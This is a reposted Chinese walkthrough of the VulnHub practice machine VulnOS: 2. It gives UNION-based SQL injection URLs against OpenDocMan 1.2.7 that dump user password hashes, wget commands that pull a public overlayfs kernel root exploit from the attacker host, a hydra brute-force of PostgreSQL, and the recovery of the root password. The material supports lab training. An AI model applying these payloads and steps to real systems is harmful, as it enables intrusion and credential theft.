IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> vulnhub VulnOS: 2 -> 正文阅读

[系统运维]vulnhub VulnOS: 2

本文思路:

nmap端口扫描-->访问网站搜集信息-->利用OpenDocMan v1.2.7的sql注入漏洞获取webmin用户的密码-->webmin用户ssh登录搜集信息-->利用内核版本漏洞提权(或者 爆破postgresql用户名密码-->postgresql中获得vulnosadmin的密码-->通过vulnosadmin用户目录下的r00t.blend文件获得root用户密码)

具体步骤:

前置步骤:arp-scan扫描得到靶机ip

攻击机中输入

sudo arp-scan -l

扫描到同网段ip,根据靶机MAC地址,可知本靶机ip为192.168.101.27

步骤1:nmap端口扫描

攻击机上输入以下命令,对靶机进行TCP全端口的扫描

sudo nmap -sS -A -p- 192.168.101.27

扫描出开放端口22(ssh),80(http),6667(irc,这个有点神奇,不知道后面会不会用到)

步骤2:登录网页收集信息

浏览器访问:http://192.168.101.27/

进来之后是这样的提示通过渗透website获取root权限和flag

点击上图的website,来到? http://192.168.101.27/jabc/?

在这个站点四处逛逛,最后来到了documentation页面:?http://192.168.101.27/jabc/?q=node/7

啥也没有,就有点诡异

右键 查看页面源代码,发现隐藏的提示

根据上图中的提示访问:?http://192.168.101.27/jabcd0cs/

用户名和密码都是guest

在这个站点也翻了一遍没发现啥特有用的,但注意到网站是用OpenDocMan v1.2.7创建的。

在exploit-db中查找OpenDocMan,找到一条版本符合的

OpenDocMan 1.2.7 - Multiple Vulnerabilities - PHP webapps Exploithttps://www.exploit-db.com/exploits/32075里面记录了两个问题,一个是sql注入,由于我们现在是guest用户,可能可以利用这个获得管理员账户和密码;第二个是通过访问控制漏洞使当前用户获取管理员权限,但我尝试了这个漏洞利用,靶机里面的signup功能似乎是个假的,也无法利用这个漏洞。

步骤3:利用sql注入获取管理员账户和密码

那就试试sql注入吧:

浏览器访问如下url,获得当前数据库名称(其实这步没啥必要)

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9

?浏览器访问如下url,获得当前数据库所有表名称

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()

浏览器访问如下url,获得当前数据库表odm_user的所有列名称。

特别注意,后端应该是过滤了引号,所以需要用十六进制编码来表示表名。

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x6f646d5f75736572 and table_schema=database()

浏览器访问如下url,获得当前数据库表odm_user的列username和password的所有值

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(concat(username,0x5e,password)),3,4,5,6,7,8,9 from odm_user

从上图结果可知,这个站点有两个用户,一个是我们已知的guest,另一个叫webmin,可能是管理员。

拿webmin的密码到md5解密网站上去解一下,得到webmin的密码webmin1980

步骤4:网页上的无效操作 TAT

拿webmin账户密码登录http://192.168.101.27/jabcd0cs/?

可以发现admin页面http://192.168.101.27/jabcd0cs/admin.php

由于现阶段的目标是getshell,且网站有上传文件的功能,且之前尝试上传php文件没有上传成功,所以很有可能是需要用管理员账户修改上传文件相关的配置。

点击Edit file types进入http://192.168.101.27/jabcd0cs/filetypes.php?submit=update&state=2

点Add File Type进入http://192.168.101.27/jabcd0cs/filetypes.php?submit=AddNew?

之前上传php文件的时候报的是不支持text/x-php,这里把text/x-php加上

来到http://192.168.101.27/jabcd0cs/add.php上传php反弹shell文件

上传成功

在??http://192.168.101.27/jabcd0cs/settings.php?submit=update&state=2?可以找到文件上传路径

访问文件上传路径?http://192.168.101.27/jabcd0cs/uploads/?发现文件转换为.dat了。所以如果想通过访问php反弹shell文件获得反弹shell,还需要找到一个本地文件包含漏洞,但是遍访网站并没有找到这个漏洞TAT……这条路就断了

步骤5:getshell--用webmin账号登录ssh

用刚刚获得的webmin账号和密码webmin1980登录ssh,登录成功,获得shell

步骤6:根据内核版本提权

查看靶机内核版本

uname -a?

在exploit-db上搜索3.13.0,找到一个提权脚本

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploithttps://www.exploit-db.com/exploits/37292把这个脚本下载到攻击机上,攻击机上开http服务

python -m SimpleHTTPServer 7777

把这个提权脚本从攻击机下载到靶机上

wget http://192.168.101.25:7777/37292.c

在靶机上编译

gcc -o 37292 37292.c

?执行

./37292

成功提权?

输入如下命令,获得交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

找到flag?

步骤7:另一种提权方法:通过另一个用户提权

其实到上一步这个靶机就可以结束了,但打靶机总不能老用内核提权吧,太没劲了。

在vulnhub上看到一个挺复杂的提权方法,跟着学习一下

g0blin Research: VulnOS 2 VulnHub Writeuphttps://g0blin.co.uk/vulnos-2-vulnhub-writeup/https://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdfhttps://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdf(1)用webmin账号密码ssh登录之后,首先切换到上一级目录,发现还有一个用户目录vulnosadmin,这个目录webmin是没有权限的。

(2)再进到webmin目录下,解压?post.tar.gz?

tar zxvf post.tar.gz

看解压出来的结果,有很多hydra相关的文件,应该是要用到hydra爆破?

?

(3)查看靶机监听状态的端口

由于webmin没有netstat -p选项的权限,所以得netstat两遍:

第一遍

netstat -ant

第二遍

netstat -at

两遍一对比,发现本地监听的一个是mysql(3306端口),一个是postgresql(5432端口)。

由于上一步中解压的文件夹名称是post,所以合理推测要爆破的是postgresql(5432端口)。

(4)安装hydra

进post目录

cd post

输入

./configure

再输入

make

输入如下命令,如果正常返回help结果,则表示hydra安装成功

hydra --help

??

(5)拷贝密码字典到靶机

攻击机上进入/usr/share/metasploit-framework/data/wordlists目录,开http服务

python -m SimpleHTTPServer 7777

靶机shell中输入,下载字典postgres_default_pass.txt

wget http://192.168.101.25:7777/postgres_default_pass.txt

(6)用hydra爆破postgresql密码

靶机shell输入命令

./hydra -L postgres_default_pass.txt -P postgres_default_pass.txt localhost postgres

爆破结果如下图,用户名postgres,密码postgres

(7) 进入postgresql,拿到vulnosadmin用户的密码

登录postgresql

psql -h localhost -U postgres

查看所有数据库

postgres=# \l

进入system数据库

postgres=# \c system

列出system数据库的表

system=# \dt

?

获取system数据库users表的内容(注意结尾分号,关键字大写)

system=# SELECT * FROM users;

获取到?vulnosadmin用户的密码c4nuh4ckm3tw1c3

?

(8)vulnosadmin用户ssh登录

ssh vulnosadmin@192.168.101.27

该用户目录下有一文件r00t.blend

(9)将r00t.blend拷贝到攻击机

靶机vulnosadmin用户shell开http服务,监听8888端口

python -m SimpleHTTPServer 8888

攻击机下载?r00t.blend文件

wget http://192.168.101.27:8888/r00t.blend

(10)攻击机(kali)安装blender

安装snapd

sudo apt update
sudo apt install snapd

启动snapd

sudo systemctl start snapd

安装blender

sudo snap install blender --classic

(11)用blender打开r00t.blend查看root用户的密码

打开blender

/snap/bin/blender

用blender打开r00t.blend,刚打开的时候就是一个四面不透风的方块,右上角小框框里面选Text,这个时候就能看到文字了

上面的图看不清到底什么字,左边选Rotate,旋转一下文字,可以看清是ab12fg//drg了,这个是root用户的密码

?

(12)root用户ssh登录

ssh root@192.168.101.27

输入密码?ab12fg//drg,成功登录

?

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-12-06 15:37:23  更:2021-12-06 15:39:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 4:41:16-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码